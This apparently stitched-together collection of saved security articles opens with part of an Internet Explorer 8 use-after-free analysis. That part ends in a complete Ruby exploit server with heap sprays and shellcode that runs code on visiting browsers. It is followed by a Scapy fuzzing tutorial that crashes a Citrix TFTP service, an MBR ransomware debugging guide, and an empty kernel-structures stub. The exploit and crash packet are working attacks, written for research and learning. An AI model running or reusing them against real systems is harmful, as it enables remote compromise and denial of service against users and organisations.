The first things you might notice are that ecx has the value 00730063 \("cs"\)
and that it comes directly from the name of the css file \("css.css"\). You'll
also note that ecx comes from a dereferenced edi. Looking at the memory
surrounding edi, you should see something like this:

[code]

     
    // memory: edi 
     
    0017b484 63 00 73 00 73 00 00 00 30 74 23  c.s.s...0t#
    0017b48f 00 52 32 9a ea 00 01 0c ff 0e 00  .R2........
    0017b49a 00 00 63 00 73 00 73 00 2e 00 63  ..c.s.s...c
    0017b4a5 00 73 00 73 00 00 00 00 00 00 00  .s.s.......
    0017b4b0 56 32 9a ea 00 01 0c ff 0e 00 00  V2.........
    0017b4bb 00 63 00 73 00 73 00 2e 00 63 00  .c.s.s...c.
    0017b4c6 73 00 73 00 00 00 01 00 00 00 5a  s.s.......Z
    0017b4d1 32 9a ea 00 01 0c ff 0e 00 00 00  2..........
    0017b4dc 63 00 73 00 73 00 2e 00 63 00 73  c.s.s...c.s
    0017b4e7 00 73 00 00 00 00 00 00 00 5e 32  .s.......^2
    0017b4f2 9a ea 00 01 0c ff 0e 00 00 00 63  ..........c
    0017b4fd 00 73 00 73 00 2e 00 63 00 73 00  .s.s...c.s.
    0017b508 73 00 00 00 00 00 00 00 62 32 9a  s.......b2.
    0017b513 ea 00 01 0c ff 0e 00 00 00 63 00  .........c.
    0017b51e 73 00 73 00 2e 00 63 00 73 00 73  s.s...c.s.s
    
    
[/code]

Now that we know slightly more about the vuln, let's open up IE, attach to it,
and set a breakpoint on mshtml\!CSharedStyleSheet::Notify before we load the
proof of concept. Stepping through the CSharedStyleSheet::Notify function,
you'll see that edi originally points to an array of CStyleSheet objects.
You'll also notice that esi ends up holding the number 0x5, which is also the
number of elements in the array that edi points to, as well as the number of
style sheet declarations \(the link in the html, and the four @imports in the
css\):

[code]

     
    // disassembly of mshtml!CSharedStyleSheet::Notify 
     
    mshtml!CSharedStyleSheet::Notify:
    3ced63a5 8bff            mov     edi,edi
    3ced63a7 55              push    ebp
    3ced63a8 8bec            mov     ebp,esp
    3ced63aa 51              push    ecx
    3ced63ab 56              push    esi
    3ced63ac 8bb1d0000000    mov     esi,dword ptr [ecx+0D0h] ; esi = 0x14 
    3ced63b2 57              push    edi
    3ced63b3 8bb9d8000000    mov     edi,dword ptr [ecx+0D8h] ; pointer to array of CStyleSheet objects 
    3ced63b9 33c0            xor     eax,eax
    3ced63bb c1ee02          shr     esi,2                    ; esi = 0x5 
     
    // memory: edi (array of pointers to CStyleSheet objects) 
     
    028a9368 00235c98 
    028a936c 00235680
    028a9370 002352c0
    028a9374 00235a40
    028a9378 00235338
     
    // memory: poi(edi) - first element in array 
     
    00235c98 3cf76248 mshtml!CStyleSheet::`vftable'
    00235c9c 00000002
    00235ca0 00000010
    00235ca4 00000000 
    00235ca8 00000000 
    00235cac 08000000
    00235cb0 00000002
    00235cb4 00000000 
    00235cb8 022d7278
    00235cbc 00000000 
    00235cc0 022d5ee0
    00235cc4 022d5fa0
    00235cc8 00236c48
    00235ccc 00000000 
    00235cd0 00000000 
    
    
[/code]

Stepping farther down, we enter a loop that iterates through each of the
pointers in the array pointed to by edi. At the start of this loop, esi is
tested for zero before a jmp; if esi is zero, then the function returns:

[code]

     
    3ced63be 85f6            test    esi,esi
    3ced63c0 7fc6            jg      mshtml!CSharedStyleSheet::Notify+0x1b (3ced6388)
    3ced63c2 5f              pop     edi
    3ced63c3 5e              pop     esi
    3ced63c4 59              pop     ecx
    3ced63c5 5d              pop     ebp
    3ced63c6 c20400          ret     4
    
    
[/code]

Inside this loop is the instruction at which the PoC triggered a crash.
However, with the first iteration of the loop edi is still pointing to a valid
CStyleSheet pointer, so nothing crashes. We do learn, however, that the
\[ecx+18h\] instruction is a flag that either causes IE to branch off and call
mshtml\!CStyleSheet::Notify or merely continue the loop:

[code]

     
    3ced6388 8b0f            mov     ecx,dword ptr [edi]
    3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:00235cb0=00000002
    3ced638e 0f8442222500    je      mshtml!CSharedStyleSheet::Notify+0x23 (3d1285d6)
     
          // if dword ptr [ecx+18h] == 1 
          3d1285d6 8b4508          mov     eax,dword ptr [ebp+8]
          3d1285d9 e8d4921200      call    mshtml!CStyleSheet::Notify (3d2518b2)
          3d1285de e9b7dddaff      jmp     mshtml!CSharedStyleSheet::Notify+0x2b (3ced639a)
     
    // else, continue the loop 
    3ced6394 4e              dec     esi                                              ; decrement our loop counter 
    3ced6395 83c704          add     edi,4                                            ; increment CStyleSheet array pointer 
    3ced6398 eb24            jmp     mshtml!CSharedStyleSheet::Notify+0x33 (3ced63be) ; restart loop 
    
    
[/code]

Below is some pseudo-code of what is happening:

[code]

     
    for(int i = array->length; i > 0; i--) {
            if(array[i].flag == 0x1) {
                    array[i].Notify();
            }
    }
    
    
[/code]

If you continue stepping through a second iteration of the loop in the
mshtml\!CSharedStyleSheet::Notify function, you'll notice that after the call
to mshtml\!CStyleSheet::Notify, edi is no longer pointing to an array of
CStyleSheet objects, but instead points into the middle of the name of the
stylesheet:

[code]

     
          BEFORE        |         AFTER
    // memory: edi      |   // memory: edi 
                        |
    028a9368 00235c98   |   028a936c 00730063
    028a936c 00235680   |   028a9370 002e0073
    028a9370 002352c0   |   028a9374 00730063
    028a9374 00235a40   |   028a9378 00000073
    028a9378 00235338   |   028a937c 002353b0
    
    
[/code]

To get a feel for why this is happening, stepping into
mshtml\!CStyleSheet::Notify and breaking on each call/return shows that we are
reconstructing and initializing a CStyleSheet object:

[code]

     
    0:008> pct
    3d1285d9 e8d4921200      call    mshtml!CStyleSheet::Notify (3d2518b2)
     
        mshtml!CStyleSheet::Notify+0x47:
        3d2518f9 e815e4d6ff      call    mshtml!CStyleSheet::ReconstructStyleSheet (3cfbfd13)
     
        mshtml!CStyleSheet::Notify+0x61:
        3d251913 e83e29c8ff      call    mshtml!CStyleSheet::GetMarkup (3ced4256)
     
        mshtml!CStyleSheet::Notify+0xbb:
        3d25196d e87c36c8ff      call    mshtml!CMarkup::OnCssChange (3ced4fee)
     
        mshtml!CStyleSheet::Notify+0xc2:
        3d251974 e8fc36c8ff      call    mshtml!CStyleSheet::CheckImportStatus+0x19 (3ced5075)
     
        mshtml!CStyleSheet::Notify+0xcd:
        3d25197f e80f99c7ff      call    mshtml!CMarkup::UnblockScriptExecution (3cecb293)
     
        mshtml!CStyleSheet::Notify+0xd7:
        3d251989 e8358fcfff      call    mshtml!CDwnCtx::SetProgSink (3cf4a8c3)
     
        mshtml!CStyleSheet::Notify+0xe0:
        3d251992 e8d434e0ff      call    mshtml!CStyleSheet::SetCssCtx (3d054e6b)
     
    mshtml!CStyleSheet::Notify+0xec:
    3d25199e c3              ret
    
    
[/code]

If you step into the mshtml\!CStyleSheet::ReconstructStyleSheet function,
you'll see that old style sheet objects are being freed and new ones are being
created, including the array pointed to by edi. Thus, once the array is freed,
new objects that occupy about the same space in memory take its place. In the
case of having four @import declarations in the css file, strings containing
the name of the css file are allocated where the CStyleSheet array used to be.
It is for this reason that IE will crash with different values in edi when you
have different numbers of @import declarations or various sizes of css file
names.  
  
Now that we know more about what's happening, it should be clear that the
vulnerability is a use-after-free vulnerability: the function
mshtml\!CSharedStyleSheet::Notify continues to use the pointer to the array
after mshtml\!CStyleSheet::ReconstructStyleSheet, or one of the functions it
calls, has freed it.

## Exploiting the vuln

My first thought when trying to exploit this was that since we can reliably
control edi, maybe we can control ecx as well by heap spraying up to the
address that edi is pointing to. If you haven't tried already, it can be quite
difficult and pretty unreliable to spray in the lower 00xx00xx address ranges.
In order to reliably control the data that edi points to, we need to be able
to control the 0x00 parts of the unicode name of the stylesheet. How? Using
unicode, of course\! Below is an example of being able to control more of the
value of ecx:

[code]

     
    // changing the css file name to "\xffc\xfes\xfds\xfc.\xfbc\xfas\xf9s" 
     
    (490.22c): Access violation - code c0000005 (!!! second chance !!!)
    eax=00000000 ebx=00233e80 ecx=fc2efd73 edx=006900a4 esi=00000003 edi=022c7848
    eip=3ced638a esp=0161dbf8 ebp=0161dc04 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206
    mshtml!CSharedStyleSheet::Notify+0x1d:
    3ced638a 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:fc2efd8b=????????
    
    
[/code]

Notice in the example above that ecx = fc2efd73, which comes directly from our
css file name: "\xfds\xfc."  
  
So how do we get code execution off of this? Since ecx is supposed to be a
pointer to a CStyleSheet object, I looked around the disassembly for a call
\[ecx+<offset>\] or something similar. I found what I was looking for in the
mshtml\!CStyleSheet::GetMarkupPtr function, which is called from
mshtml\!CStyleSheet::GetMarkup, which in turn is called from
mshtml\!CStyleSheet::Notify:

[code]

     
    mshtml!CElement::GetMarkupPtr+0xe:
    3cf7c42b 8b4924          mov     ecx,dword ptr [ecx+24h]
    3cf7c42e 8b01            mov     eax,dword ptr [ecx]
    3cf7c430 8b5020          mov     edx,dword ptr [eax+20h]
    3cf7c433 ffe2            jmp     edx 
    
    
[/code]

In order to reach that part of the code, many stars have to be aligned. Most
of these stars though, are members of the CStyleSheet object. Since we control
the pointer to the CStyleSheet object \(ecx\), we can make fake CStyleSheet
objects in memory that will get us to the code we want by filling the heap
with our fake objects.  
  
The first check we have to pass is this ever-so-familiar check:

[code]

     
    // star #1 
    3ced6388 8b0f            mov     ecx,dword ptr [edi]
    3ced638a 83791801        cmp     dword ptr [ecx+18h],1 
    
    
[/code]

This should be easily solved if we make ecx point to a portion of memory that
we've filled with dwords that have the value 0x1. However, doing this makes us
die on another instruction:

[code]

     
    // star #2 
    mshtml!CStyleSheet::ReconstructStyleSheet:
    3cfbfd13 8bff            mov     edi,edi
    3cfbfd15 55              push    ebp
    3cfbfd16 8bec            mov     ebp,esp
    3cfbfd18 51              push    ecx
    3cfbfd19 f6405402        test    byte ptr [eax+54h],2 ; eax = esi = ecx 
    
    
[/code]

In order to make it past that instruction, byte ptr\[ecx+54\] must simply
reference valid memory.  
  
0nce we get past that hurdle, we should finally make it to this instruction:

[code]

     
    // star #3 
    mshtml!CStyleSheet::GetMarkup:
    3ced4256 8b4820          mov     ecx, dword ptr [eax+20h] ; eax = ecx 
    
    
[/code]

But alas\! Not only does dword ptr \[eax+20h\] need to reference valid memory,
it also needs to point to memory that we control. This becomes critical later
because we need to be in control of the resulting value of eax below:

[code]

     
    mshtml!CElement::GetMarkupPtr:
    3cf7c420 8b411c          mov     eax,dword ptr [ecx+1Ch]  ; this ecx is from dword ptr[eax+20h] 
    
    
[/code]

If we can finally get those stars perfectly aligned, there's still another
check that needs to work before we'll get close to our jump:

[code]

     
    // star #4 
    mshtml!CElement::GetMarkupPtr+0x7:
    3cf4265a a900010000      test    eax,100h ; this eax is based on the dword ptr [ecx+1Ch] from above 
    
    
[/code]

Once we get that, then we still have to make it past all of these dereferences
before we jmp to edx:

[code]

     
    // stars 5,6,7 
    mshtml!CElement::GetMarkupPtr+0xe:
    3cf7c42b 8b4924          mov     ecx,dword ptr [ecx+24h]  ; this ecx is the same one used above 
    3cf7c42e 8b01            mov     eax,dword ptr [ecx]
    3cf7c430 8b5020          mov     edx,dword ptr [eax+20h]
    3cf7c433 ffe2            jmp     edx
    
    
[/code]

Below is the final list of checks that we need to pass in order to control the
value that is jmp'd to \(assuming ecx is the original pointer to a CStyleSheet
object that we control\):

[code]

     
    Stars to be aligned:
     
    1 - dword ptr[ecx+18h]                                          == 0x1
    2 - byte ptr[ecx+54h]                                           == ecx+54h must be readable memory
    3 - dword ptr[ecx+20h]                                          == memory we control
    4 - dword ptr[dword ptr[ecx+20h]+1Ch]                           == 0x100
    5 - dword ptr[dword ptr[ecx+20h]+24h]                           == memory we control
    6 - dword ptr[dword ptr[dword ptr[ecx+20h]+24h]]                == memory we control
    7 - dword ptr[dword ptr[dword ptr[dword ptr[ecx+20h]+24h]]+20h] == final value for jmp
    
    
[/code]

So how did I do this? First, I set set the stylesheet name to
"\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s", which makes ecx point to 03730073.
I then used two heap sprays. The first heap spray attempts to fill up to at
least 03730073. The second heap spray fills up to at least 0c0c0c0c and
contains shellcode at the end of each section of 0c's.  
  
The first heap spray is the one that does all of the magic in getting the
stars aligned. The pattern below is used to spray the heap:

[code]

     
    0c0c0c0c - aligns star 5 (second heap spray makes sure stars 6 and 7 are aligned)
    00000009 - not used (only a marker)
    00000008 - not used (only a marker)
    03730073 - not used
    00000001 - aligns star 1
    00000100 - aligns star 4
    03730073 - aligns star 3
    
    
[/code]

The first heap spray consistently places the 0x00000100 dword at 03730073.
Using that as the base, it is easy to visualize how the pattern aligns the
stars:

[code]

     
    ecx+0x00 (03730073): 00000100 
    ecx+0x04 (03730077): 03730073 
    ecx+0x08 (0373007b): 0c0c0c0c 
    ecx+0x0c (0373007f): 00000009 
    ecx+0x10 (03730083): 00000008 
    ecx+0x14 (03730087): 03730073 
    ecx+0x18 (0373008b): 00000001 <-- (star 1) 0x1 flag
    ecx+0x1c (0373008f): 00000100 <-- (star 4) dword ptr[dword ptr[ecx+20h]+1Ch]
    ecx+0x20 (03730093): 03730073 <-- (star 3) dword ptr[ecx+20h] (points back to first heap spray)
    ecx+0x24 (03730097): 0c0c0c0c <-- (star 5) dword ptr[dword ptr[ecx+20h]+24h]
    ecx+0x28 (0373009b): 00000009 
    ecx+0x2c (0373009f): 00000008 
    ecx+0x30 (037300a3): 03730073 
    ecx+0x34 (037300a7): 00000001 
    ecx+0x38 (037300ab): 00000100 
    ecx+0x3c (037300af): 03730073
    ecx+0x40 (037300b3): 0c0c0c0c 
    ecx+0x44 (037300b7): 00000009 
    ecx+0x48 (037300bb): 00000008 
    ecx+0x4c (037300bf): 03730073 
    ecx+0x50 (037300c3): 00000001 
    ecx+0x54 (037300c7): 00000100 <-- (star 2) eax+54h must be readable memory
    
    
[/code]

The first heap spray, combined with a second one that sprays up to at least
0c0c0c0c with a combination of 0c's and shellcode, pull everything together.
Below is the final result of the exploit. After running the script, connect to
port 55555 and request /test.html:

[code]

     
    #!/usr/bin/env ruby
     
    require 'socket'
     
    def http_send(sock, data, opts={})
        defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
        opts = defaults.merge(opts)
        
        code = opts[:code]
        message = opts[:message]
        type = opts[:type]
        
        to_send = "HTTP/1.1 #{code} #{message}\r\n" +
                  "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +
                  "Cache-Control: no-cache\r\n" +
                  "Content-Type: #{type}\r\n" +
                  "Pragma: no-cache\r\n" +
                  "Content-Length: #{data.length}\r\n\r\n" +
                  "#{data}"
        puts "[+] Sending:"
        to_send.split("\n").each do |line|
            puts "    #{line}"
        end
        sock.write(to_send) rescue return false
        return true
    end
     
    def sock_read(sock, out_str, timeout=5)
        begin
            if Kernel.select([sock],[],[],timeout)
                out_str.replace(sock.recv(1024))
                puts "[+] Received:"
                out_str.split("\n").each do |line|
                    puts "    #{line}"
                end
            else
                sock.close
                return false
            end
        rescue Exception => ex
            return false
        end
    end
     
    def to_uni(str)
        res = ""
        str.each_byte do |b|
            res << "\x00#{b.chr}"
        end
        res
    end
     
    @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"
    @html_name = "test.html"
    placeholder = "a" * (@css_name.length/2)
     
    @html = <<-HTML
        <script>
        function dup_str(str, length) {
            var res = str;
            while(res.length < length) {
                res += res;
            }
            res = res.substr(res.length - length);
            return res;
        }
        
        function to_bin(str) {
            var res = "";
            while(str.length > 0) {
                var first = str.substr(0, 2);
                var second = str.substr(2, 2);
                res += "%u" + second + first;
                str = (str.length > 4) ? str.substr(4) : "";
            }
            return unescape(res);
        }
     
        // first heap spray
        var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
        var arr = []
        for(var i = 0; i < 60000; i++) {
            arr[i] = ["" + base].join("");
        }
        
        // second heap spray w/ shellcode
        var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);
        
        // windows/exec - 200 bytes
        // http://www.metasploit.com
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + 
                                 "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + 
                                 "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + 
                                 "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + 
                                 "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + 
                                 "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + 
                                 "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + 
                                 "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + 
                                 "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + 
                                 "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + 
                                 "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + 
                                 "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + 
                                 "%u6c61%u2e63%u7865%u0065");
        var arr2 = [];
        for(var i = 0; i < 30000; i++) {
            arr2[i] = [nops + shellcode].join("");
        }
        
        // write the link to the stylesheet
        var link = document.createElement("link");
        link.setAttribute("rel", "Stylesheet");
        link.setAttribute("type", "text/css");
        link.setAttribute("href", "#{placeholder}")
        document.getElementsByTagName("head")[0].appendChild(link);
        </script>
    HTML
    @html = "\xfe\xff" + to_uni(@html)
    @html.gsub!(to_uni(placeholder), @css_name)
     
    @css = <<-CSS
    @import url("#{placeholder}");
    @import url("#{placeholder}");
    @import url("#{placeholder}");
    @import url("#{placeholder}");
    CSS
    @css = "\xfe\xff" + to_uni(@css)
    @css.gsub!(to_uni(placeholder), @css_name)
     
    @index = <<-INDEX
    <a href="#{@html_name}">#{@html_name}</a>
    INDEX
     
    TCPServer.open(55555) do |srv|
        while true
            cli = srv.accept
            req = ""
            html = ""
            css = ""
            index = ""
            next unless sock_read(cli, req, 5)
            while req.length > 0
                if req =~ /GET/
                    if req =~ /GET.*#{Regexp.escape(@html_name)}/
                        break unless http_send(cli, @html, :type=>"text/html")
                    elsif req =~ /GET.*index/
                        break unless http_send(cli, @index)
                    elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
                        break unless http_send(cli, @css, :type=>"text/css")
                    else
                        break unless http_send(cli, @css, :type=>"text/css")
                    end
                elsif req =~ /QUIT/
                    exit()
                end
                req = ""
                next unless sock_read(cli, req, 5)
            end
            cli.close rescue next
        end
    end
    
    
[/code]

As I said above, I've tested this on IE8 patched up to MS10-071 on XP SP3.
Enjoy\!

# Packetstan: Scapy, and Random Acts of Packety Violence

**Created:**| _1/3/2011 6:55:55 PM_  
---|---  
**Updated:**| _1/3/2011 6:56:12 PM_  
**Author:**| __  
**Tags:**| _python Fuzzer network-security programming_  
  

### Scapy, and Random Acts of Packety Violence

I noticed while running a vulnerability scan with Nessus, that Citrix
Provisioning Servers's TFTP service would crash. This service is used for the
PXE booting Citrix's virtual machines, so it is rather important.  
  
I began to wonder if I could cause it to crash with my own evil packet. Of
course, I could just sniff the traffic generated by Nessus, but that takes
away from the challenge and it wouldn't tell me the exact portion of the
packet that caused the crash.  
  
I did a bit of research on TFTP by reading the RFC. In addition, I found that
the Wikipedia article has a pretty good description as well as some nice
pretty pictures. I thought the packet most likely to cause a crash would be
the RRQ \(read request\) and specifially the filename attribute, since it has
the most manipulatable data. I then fired up Scapy.  
  

[code]

    Python 2.6.5 (r265:79063, Apr 16 2010, 13:09:56)  
    [GCC 4.4.3] on linux2  
    Type "help", "copyright", "credits" or "license" for more information.  
    >>> **from scapy.all import ***  
     >>> 
    
[/code]

  
  
I then took a look at the options for TFTP  

[code]

    >>> ls()  
    ...  
    TFTP       : TFTP opcode  
    TFTP_ACK   : TFTP Ack  
    TFTP_DATA  : TFTP Data  
    TFTP_ERROR : TFTP Error  
    TFTP_OACK  : TFTP Option Ack  
    TFTP_Option : None  
    TFTP_Options : None  
    TFTP_RRQ   : TFTP Read Request  
    TFTP_WRQ   : TFTP Write Request
    
[/code]

  
  
...and the specific options for RRQ.  
  

[code]

    >>> ls(TFTP_RRQ)  
    filename   : StrNullField         = ('')  
    mode       : StrNullField         = ('octet')
    
[/code]

  
  
Now to create the packet. Remember, TFTP is UDP, and here is how we make a
TFTP RRQ packet.  
  

[code]

    >>> **IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaa')**  
     <IP  frag=0 proto=udp dst=10.1.2.3 |<UDP  sport=1337 dport=tftp |<TFTP  op=RRQ |<TFTP_RRQ  filename='aaaa' |>>>>
    
[/code]

  
  
There are a lot of options at each later, but at a minimum we need to set the
destination address and port. This creates a valid request for the file aaaa.
Let's take a look at the packet by using 'ls'.  
  

[code]

    >>> **ls(IP(dst='10.0.2.15')/UDP(dport=69)/TFTP()/TFTP_RRQ(filename='aaaa'))**  
     version  : BitField        = 4            (4)  
    ihl      : BitField        = None         (None)  
    tos      : XByteField      = 0            (0)  
    len      : ShortField      = None         (None)  
    id       : ShortField      = 1            (1)  
    flags    : FlagsField      = 0            (0)  
    frag     : BitField        = 0            (0)  
    ttl      : ByteField       = 64           (64)  
    proto    : ByteEnumField   = 17           (0)  
    chksum   : XShortField     = None         (None)  
    src      : Emph            = '10.1.3.37'  (None)  
    dst      : Emph            = '10.1.2.3'   ('127.0.0.1')  
    options  : IPoptionsField  = ''           ('')  
    --  
    sport    : ShortEnumField  = 1337         (53)  
    dport    : ShortEnumField  = 53           (53)  
    len      : ShortField      = None         (None)  
    chksum   : XShortField     = None         (None)  
    --  
    op       : ShortEnumField  = 1            (1)  
    --  
    filename : StrNullField    = 'aaaa'       ('')  
    mode     : StrNullField    = 'octet'      ('octet')
    
[/code]

  
  
For those of you not familiar with Scapy, the rightmost column shows the
default settings, and the second from the right shows the settings we are
using. Now, on to fuzzing...  
  

[code]

    >>> **send(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))**
    
[/code]

  
  
To fuzz with scapy we just wrap a portion with fuzz\(\). Any properties that
aren't set will contain randomly generated junk. Let's take a look, via 'ls',
and see what the packet looks like.  
  

[code]

    >>> **ls(IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet')))**  
     <snip>  
    --  
    filename   : StrNullField         = <RandTermString> ('')  
    mode       : StrNullField         = 'octet'         ('octet')
    
[/code]

  
  
Note the value for the filename property, RandTermString. This means every
time we send the packet it will generate a random string. Now to fuzz the
service and see what happens.  
  

[code]

    >>> **pkt = IP(dst='10.1.2.3')/UDP(sport=1337,dport=69)/TFTP()/fuzz(TFTP_RRQ(mode='octet'))  
     >>> send(pkt, loop=1)**  
    ................................................................^C  
    Sent 64 packets.
    
[/code]

  
  
We use 'send' to send the packet, the 'loop' option just tells python to keep
sending packets. Each time the packet is sent we have a different random file
name, and within the first 64 packets the service crashed. Sweet\! We have
confirmed the problem is with the 'filename' attribute, now to get a bit more
surgical.  
  
After poking around with the TFTP service I noticed there is a -debug switch,
which allows it to be run from the command line. This means we don't have to
restart the service and we can just run the executable from the command line.
This can be used to automatically restart the TFTP server.  
  

[code]

    C:\> **for /L %i in (1, 0, 2) do ArdenceTFTP.exe -debug && echo ^G**
    
[/code]

  
  
This is an infinite loop, the variable %i will start at 1, be incremented by
0, and the loop will end when %i equals 2. Obviously, %i will never equal 2 so
our loop will repeat forever \(or until we break out of it\). The executable
is run with the debug option so we don't have to restart the service. The
double ampersands allows the second command \(echo\) to run only after the
first \(ArdenceTFTP.exe\) has completed. The echo ^G \(typed with ctrl+G not
caret+G\) will give us a beep to alert us that the first command has exited,
which in our case a crash. This will automatically restart the TFTP server and
give us an audio cue when the application crashes.  
  
In addition, we also need to turn off the notifications in Windows so we don't
get notified on every crash. Normally, the prompt waits for someone to click
"Close the Program" before it officially closes the program. This would
seriously slow down our progress. Fortunately, there is a registry setting we
can modify to turn off this feature.  
  

[code]

    C:\> **reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting" /v DontShowUI /t REG_DWORD /d 1 /f  
    **
    
[/code]

  
  
This command updates the Windows Error Reporting registry key and sets the
value of DontShowUI to 1. We have to use the Force \(/f\) option so it will
overwrite the existing value. A quick aside, you can check out some of the
command line kung fu over at the Command Line Kung Fu Blog to learn how to use
command line tricks to save yourself time. Now back to your regular scheduled
programming...  
  
I fired up WireShark to capture our traffic so we can look at the offending
packet \(yes, I know we can use Scapy, but I didn't\). I then begin firing the
fuzzy packets at our server.  
  
We can use the 'inter' option with 'send' to slow down the speed at which
packets are sent so we can better determine which packet crashed the TFTP
server. This option 'inter' is the time in seconds to wait between each packet
being sent. Thanks to your earlier command line kung fu, when we hear a beep
on our Windows machine, we can stop sending packets. I like to Windows is
cursing at me when the beeping begins, but I digress.  
  

[code]

    >>> **send(pkt, loop=1, inter=1)**  
    .......^C  
    Sent 7 packets.
    
[/code]

  
  
Now we save the packet capture in WireShark and open it up in Scapy using
rdpcap.  
  

[code]

    >>> **pkts=rdpcap('tftpkilla.pcap')**  
     >>> **pkts**  
     <tftpkilla.pcap: TCP:0 UDP:7 ICMP:0 Other:0>
    
[/code]

  
  
Now let's see which packet was our killer.  
  

[code]

    >>> **sendp(pkts[0])**  
    .  
    Sent 1 packets.  <no beep>  
    >>> **sendp(pkts[1])**  
    .  
    Sent 1 packets.  <no beep>  
    >>> **sendp(pkts[2])**  
    .  
    Sent 1 packets.  <BEEP!!!>
    
[/code]

  
  
We can grab just the offending packet:  

[code]

    >>> **killa=pkts[2]**  
     >>> **sendp(killa)**
    
[/code]

  
  
Oh yeah\! I can send this packet and kill the TFTP server every time\!  
  
We use 'sendp' in this case since our packet caputure has the layer 2 headers,
'send' is used when you only have layer 3 \(IP\) headers.  
  
Now, let's look at some of the info on the filename.  
  

[code]

    >>> **len(killa.filename)**  
     396  
    
    
[/code]

  
  
Hrm...I wonder if just the length of the filename what makes our killa so
potent.  
  

[code]

    >>> **send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename= "A"*396))**  
    .  
    Sent 1 packets. <BEEP!!!>
    
[/code]

  
  
Using a payload of 396 A's we can cause a crash. So the payload doesn't seem
to matter, but the length does. After narrowing this down, I find that 203
bytes will cause death.  
  

[code]

    >>> **send(IP(dst='10.1.2.3')/UDP(dport=69)/TFTP()/TFTP_RRQ(mode='octet',filename= "A"*203))**
    
[/code]

  
  
Cool, so now we know the problem. What can we do from here? We could see if we
can overflow a buffer and cause remote code execution, but I took a look at it
with a debugger and no luck. We may not be able to take over the server, but
we can make it angry.  
  
By the way, this bug has been resolved in the most recent version of Citrix
Provisioning Server.  
  
No go out and start fuzzing yourself, but don't try this on any of your \(or
other people's\) production services.

# XyliBox: How to debug MBR Ransomware.

**Created:**| _7/15/2011 2:23:58 PM_  
---|---  
**Updated:**| _7/15/2011 2:23:58 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

###  How to debug MBR Ransomware.

<img src='img/Temp2_9974.png' />  
  
I received several questions about previously posted MBRLock, the idea here to
resume all: a tiny tutorial for pwned these lockers.  
  

<img src='img/Temp2_9973.png' width='400' height='225' />

  
Firstly get infected \(lol\) you have two options, browsing a fake porn site
and get exe or visit an infected webpage who lead to MBRlock execution.  
  

<img src='img/Temp2_9979.png' width='400' height='300' />

  

<img src='img/Temp2_9978.png' width='400' height='355' />

  
The xxxvideo.avi.exe file have generally a ~61Kb size and most of time use a
VB crypter.  
It spawns new copy of process, decrypts data and writes them to new process
ImageBaseAddress and then resumes main thread.  
A quick way to unpack it is to set breaks on CreateProcess/WriteProcessMemory,
but here the unpacking is not really important \(We want just the MBR right?\)  
  

<img src='img/Temp2_9982.png' width='266' height='400' />

  
A fast way is to use HideToolz by Fyyre and enable the reboot protection, then
you can infect your machine, HideToolz will block ExitWindowsEx done by the
MBRLock.  
  
The MBR is infected... what's now ?  
For make a dump personally I know two way: Hiew and HDHacker.  
  
  
HDHacker is really handy:  

<img src='img/Temp2_9975.png' width='390' height='400' />

  
  
Hiew is fastest \(and used by most of malware researcher?\)  

<img src='img/Temp2_9971.png' width='400' height='202' />

  
  
For make a dump with Hiew, load it like this: **hiew32 \\\\.\PhysicalDrive0**  
  
Then in hex mode press **\*** for select the infected block and **\*** again
for finish,  
Then, **F2** to save the dump.  
  
  

<img src='img/Temp2_9977.png' width='400' height='367' />

  
  
Now we have a copy of our infected MBR  
To debug it, we will use IDA Pro, but firstly you need the good packages.  
\- Bochs  
\- Python 2.6  
\- IDAPython  
\- MBR package of Elias  
  
  
  
Install 'em all, then build your image file with mbr.py  
Or just open command prompt, make sure IDA is in the path Set
path=%path%;"C:\Program Files\IDA 6" for example and run ida.bat, it will take
care of the rest.  
  
  

<img src='img/Temp2_9980.png' width='400' height='140' />

  
  
Drag 'n' drop your bochsrc file on IDA, and you can start to debug, if
everything load properly :þ  
  

<img src='img/Temp2_9972.png' width='400' height='300' />

  
For do it fast with these lame lockers:  

<img src='img/Temp2_9976.png' width='400' height='300' />

  

<img src='img/Temp2_9970.png' width='373' height='400' />

  
Nj0y ~  

<img src='img/Temp2_9981.png' width='400' height='233' />

  
As a tutorial, special hello and thanks to: Fyyre, EP\_X0FF, Corkami, Hex-Rays
guys.

# CodeMachine - Article - Catalog of key Windows kernel data structures

**Created:**| _3/7/2013 7:41:20 AM_  
---|---  
**Updated:**| _3/7/2013 7:41:20 AM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

# Catalog of key Windows kernel data structures

